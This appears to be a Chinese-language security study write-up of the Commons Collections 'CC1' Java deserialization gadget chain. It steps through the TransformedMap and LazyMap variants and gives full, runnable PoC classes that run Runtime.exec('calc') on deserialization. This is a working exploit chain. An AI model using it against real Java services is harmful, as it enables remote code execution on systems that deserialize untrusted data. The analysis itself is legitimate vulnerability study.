# 环境搭建
JDK:<8u71
本白用的是 8u65
1 2 3 4 5 6 7 8 9 10 <dependencies> <dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.2 .1 </version> </dependency> </dependencies>
# 代码审计
入口点是一个 Transformer 接口,里面只有一个 transform 的对象
该接口的实现类
该接口的重要实现类有: ConstantTransformer
、 invokerTransformer
、 ChainedTransformer,TransformedMap
其中我们来看一下 ConstantTransformer
类
常量转换,转换的逻辑也非常的简单:传入对象不会经过任何改变直接返回。例如传入 Runtime.class
,进行转换返回的依旧是 Runtime.class
这里的 iConstant 是在构造函数时传入的一个对象
但是无论是调用 transform 方法还是 getConstant 方法,他们的返回值都是 iConstant
所以该类的作用就是包装任意一个对象,在执行回调时返回该对象
再来看下 InvokerTransformer
的源码,这也是该漏洞的关键类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 private InvokerTransformer (String methodName) { super (); iMethodName = methodName; iParamTypes = null ; iArgs = null ; } public InvokerTransformer (String methodName, Class[] paramTypes, Object[] args) { super (); iMethodName = methodName; iParamTypes = paramTypes; iArgs = args; } public Object transform (Object input) { if (input == null ) { return null ; } try { Class cls = input.getClass(); Method method = cls.getMethod(iMethodName, iParamTypes); return method.invoke(input, iArgs); } catch (NoSuchMethodException ex) { throw new FunctorException ("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist" ); } catch (IllegalAccessException ex) { throw new FunctorException ("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed" ); } catch (InvocationTargetException ex) { throw new FunctorException ("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception" , ex); } }
其中在实例化 InvokerTransformer 时,有三个参数
1、需要执行的方法名
2、该函数的参数列表参数类型
3、该函数的参数列表
实例化后,紧借着调用了 transform 方法,也就是执行了 input 对象的 iMethodName 方法
到这里我们可以根据 InvokerTransformer
的参数来写一个本地 rce
1 2 3 public static void main (String[] args) { Runtime r = Runtime.getRuntime(); new InvokerTransformer ("exec" ,new Class []{String.class},new Object []{"calc" }).transform(r);
到这里,我们先整理一下思路,看我们下一步需要找什么
对于反序列化,我们肯定要找到一个 readObject 来读取 InputStream 流的对象,而最后的恶意代码执行也有了上面的 InvokerTransformer
类可以实现,所以下一步我们就需要找到一个调用 transform 方法的类
跟进我们写的本地执行中 transform 方法,并查询调用该方法的所有类
# TransfomedMap
其中在 TransformedMap
类中有 3 处调用
接受的对象时 map,但是传出的键名和键值,也就是 key 和 value 是经过修饰的
其中这里的静态方法会返回经过 TransformedMap 方法处理的对象,键名和键值
而其中关于键值 value 的 transform
我们跟进会发现到了 TransformedMap 的父类,也就是 AbstractInputCheckedMapDecorator
这里的 setValue 是对 MapEntry 的方法重写,其中会调用 checkSetValue,从而触发 valueTransformer.transform
poc:
1 2 3 4 5 6 7 8 9 10 11 12 public static void main (String[] args) { Runtime r = Runtime.getRuntime(); InvokerTransformer invokerTransformer = new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }); HashMap<Object, Object> map = new HashMap <>(); map.put("key" ,"value" ); Map<Object,Object> transformedMap = TransformedMap.decorate(map, null , invokerTransformer); for (Map.Entry entry:transformedMap.entrySet()){ entry.setValue(r); } }
所以我们可以 for 循环 MapEntry 中 map 对象,再去调用 value 的 transform 方法
从我们写的 poc 来看
setValue 方法会调用到 TransformedMap 的父类中的 setValue
进而调用 checkSetValue 从而触发 valueTransformer.transform (value)
而这里的操作相当于
1 2 Runtime r = Runtime.getRuntime();invokerTransformer.transform(r)
也就达到了命令执行的目的
当然我们也可以通过另一个实现类完成命令执行的操作
**** ChainedTransformer
**** 类封装了 Transformer
的链式调用,我们只需要传入一个 Transformer
数组, ChainedTransformer
就会依次调用每一个 Transformer
的 transform
方法。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 public ChainedTransformer (Transformer[] transformers) { super (); iTransformers = transformers; } public Object transform (Object object) { for (int i = 0 ; i < iTransformers.length; i++) { object = iTransformers[i].transform(object); } return object; }
第⼀个是 ConstantTransformer,直接返回当前环境的 Runtime 对象;第二个是 InvokerTransformer,执⾏ Runtime 对象的 exec ⽅法
手工 put 触发回调
poc:
1 2 3 4 5 6 7 8 9 public static void main (String[] args) { Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.getRuntime()), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" })}; Transformer transformerChain = new ChainedTransformer (transformers); Map map = new HashMap (); Map outerMap = TransformedMap.decorate(map, null , transformerChain); outerMap.put("key" , "value" ); }
至此,我们的链子
虽然调用的实现类是不同的,但是大致的步骤都是差不多的
都是通过对 Map 对象的 value 值进行操作,将调用 InvokerTransformer
的对象存入 Map→Value
并调用 TransformedMap.decorate 这一静态方法,使其触发 valueTransformer.transform
方法,实际上也就是触发 invokerTransformer.transform
从而达到命令执行的目的
当然,上面的两个 EXP 还不算真正的链子,应该将 Map 对象变成一个序列化流
既然是反序列化,触发的点就是 readObject,我们还需要找到一个存在类似的写入操作
接着开始找哪里调用了 setValue 方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) { String name = memberValue.getKey(); Class<?> memberType = memberTypes.get(name); if (memberType != null ) { Object value = memberValue.getValue(); if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) { memberValue.setValue( new AnnotationTypeMismatchExceptionProxy ( value.getClass() + "[" + value + "]" ).setMember( annotationType.members().get(name))); } } }
注意到这里存在 Map.Entry 的遍历和调用 setValue,大致是符合我们上面写的第一个 EXP
再来看一下构造函数
这里就有两个问题了
1、 Runtime.getRuntime()
没有实现 java.io.Serializable
接口,不能序列化
2、想要调用 setValue 需要经过两个 if 判断,否则不能调用
这里的 Map 是我们可控的,也就是可以调用 invokerTransformer.transform
并且这里的 class 关键字前没有 public,不能直接调用,这里就需要反射获取
1 2 3 4 5 6 Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor annotationInvocationHandler = c.getDeclaredConstructor(Class.class,Map.class); annotationInvocationHandler.setAccessible(true ); Object o = annotationInvocationHandler.newInstance(Override.class,transformedMap); serialize(o); unserialize("ser.bin" );
同时这里的 Runtime 部分就不能用 java.lang.Runtime 了,而是 java.lang.Class 并写在 ChainedTransformer
数组内
1 2 3 4 5 6 7 8 9 10 11 12 Transformer[] transformers = new Transformer []{ new ConstantTransformer (Class.forName("java.lang.Runtime" )), new InvokerTransformer ("getMethod" , new Class []{String.class,Class[].class}, new Object []{"getRuntime" ,new Class []{}}), new InvokerTransformer ("invoke" , new Class []{Object.class,Object[].class}, new Object []{null ,new Object []{}}), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }) };
接着就是第二个问题
我们先在第一个 if 打上断点调试看下
这里判定为 null,肯定无法进入 if
考虑到我们之前调用的无参方法中注解类存在 value 的参数
所以这里将 map 对象的 key 修改为 value 并将焦勇的无参方法换成 Target
所以最终的 poc:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 package org.example;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.TransformedMap;import java.io.*;import java.lang.annotation.Target;import java.lang.reflect.Constructor;import java.lang.reflect.InvocationTargetException;import java.util.HashMap;import java.util.Map;public class cc1 { public static void main (String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, IOException { Transformer[] transformers = new Transformer []{ new ConstantTransformer (Class.forName("java.lang.Runtime" )), new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , new Class []{}}), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , new Object []{}}), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); HashMap<Object, Object> map = new HashMap <>(); map.put("value" , "ki10" ); Map<Object, Object> transformedMap = TransformedMap.decorate(map, null , chainedTransformer); Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor annotationInvocationhdConstructor = c.getDeclaredConstructor(Class.class, Map.class); annotationInvocationhdConstructor.setAccessible(true ); Object o = annotationInvocationhdConstructor.newInstance(Target.class, transformedMap); serialize(o); unserialize("ser.bin" ); } public static void serialize (Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("ser.bin" )); oos.writeObject(obj); } public static Object unserialize (String Filename) throws IOException, ClassNotFoundException{ ObjectInputStream ois = new ObjectInputStream (new FileInputStream (Filename)); Object obj = ois.readObject(); return obj; } }
至此 TransformedMap
这条链子就走完了
但是通过 ysoseiral 源码发现
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 Gadget chain: ObjectInputStream.readObject() AnnotationInvocationHandler.readObject() Map(Proxy).entrySet() AnnotationInvocationHandler.invoke() LazyMap.get() ChainedTransformer.transform() ConstantTransformer.transform() InvokerTransformer.transform() Method.invoke() Class.getMethod() InvokerTransformer.transform() Method.invoke() Runtime.getRuntime() InvokerTransformer.transform() Method.invoke() Runtime.exec() Requires: commons-collections
该链调用的并不是 TransformedMap
而是 LazyMap
相较于 TransformedMap
, LazyMap
也要更复杂一点
这次的链子,我们反着来学习
从源码中不难发现,在 AnnotationInvocationHandler.readObject()
方法下没有直接调用 Map 的 get 方法而是使用了动态代理
我们首先来看一下 LazyMap 中的 get 方法
其中 containsKey 是布尔型的
也就是说当 containsKey 不存在时,就会去调用 factory.transform(key)
并将其作业返回值
但对于 sun.reflect.annotation.AnnotationInvocationHandler
这个类来说,实际上这个类是继承了 InvocationHandler
的。也就是说,可以将这个对象动态代理,在 readObject 的时候,调用方法就可以进入 AnnotationInvocationHandler
的 invoke 方法,从而调用 LazyMap 中的 get (key)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 package org.example;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.LazyMap;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.annotation.Retention;import java.lang.reflect.Constructor;import java.lang.reflect.InvocationHandler;import java.lang.reflect.Proxy;import java.util.HashMap;import java.util.Map;public class cc1 { public static void main (String[] args) throws Exception { Transformer[] transformers = new Transformer []{ new ConstantTransformer (Class.forName("java.lang.Runtime" )), new InvokerTransformer ("getMethod" , new Class []{String.class,Class[].class}, new Object []{"getRuntime" ,new Class [0 ]}), new InvokerTransformer ("invoke" , new Class []{Object.class,Object[].class}, new Object []{null ,new Object [0 ]}), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }) } ; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); Map innerMap = new HashMap (); Map outerMap = LazyMap.decorate(innerMap,chainedTransformer); Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor cons = clazz.getDeclaredConstructor(Class.class, Map.class); cons.setAccessible(true ); InvocationHandler handler = (InvocationHandler)cons.newInstance(Retention.class, outerMap); Map proxyMap = (Map) Proxy.newProxyInstance( Map.class.getClassLoader(), new Class []{Map.class}, handler ); Object o = cons.newInstance(Retention.class, proxyMap); byte [] bytes = serialize(o); unserialize(bytes); } public static void unserialize (byte [] bytes) throws Exception{ try (ByteArrayInputStream bain = new ByteArrayInputStream (bytes); ObjectInputStream oin = new ObjectInputStream (bain)){ oin.readObject(); } } public static byte [] serialize(Object o) throws Exception{ try (ByteArrayOutputStream baout = new ByteArrayOutputStream (); ObjectOutputStream oout = new ObjectOutputStream (baout)){ oout.writeObject(o); return baout.toByteArray(); } } }
# 最后
poc 适用的版本应该是 < 8u71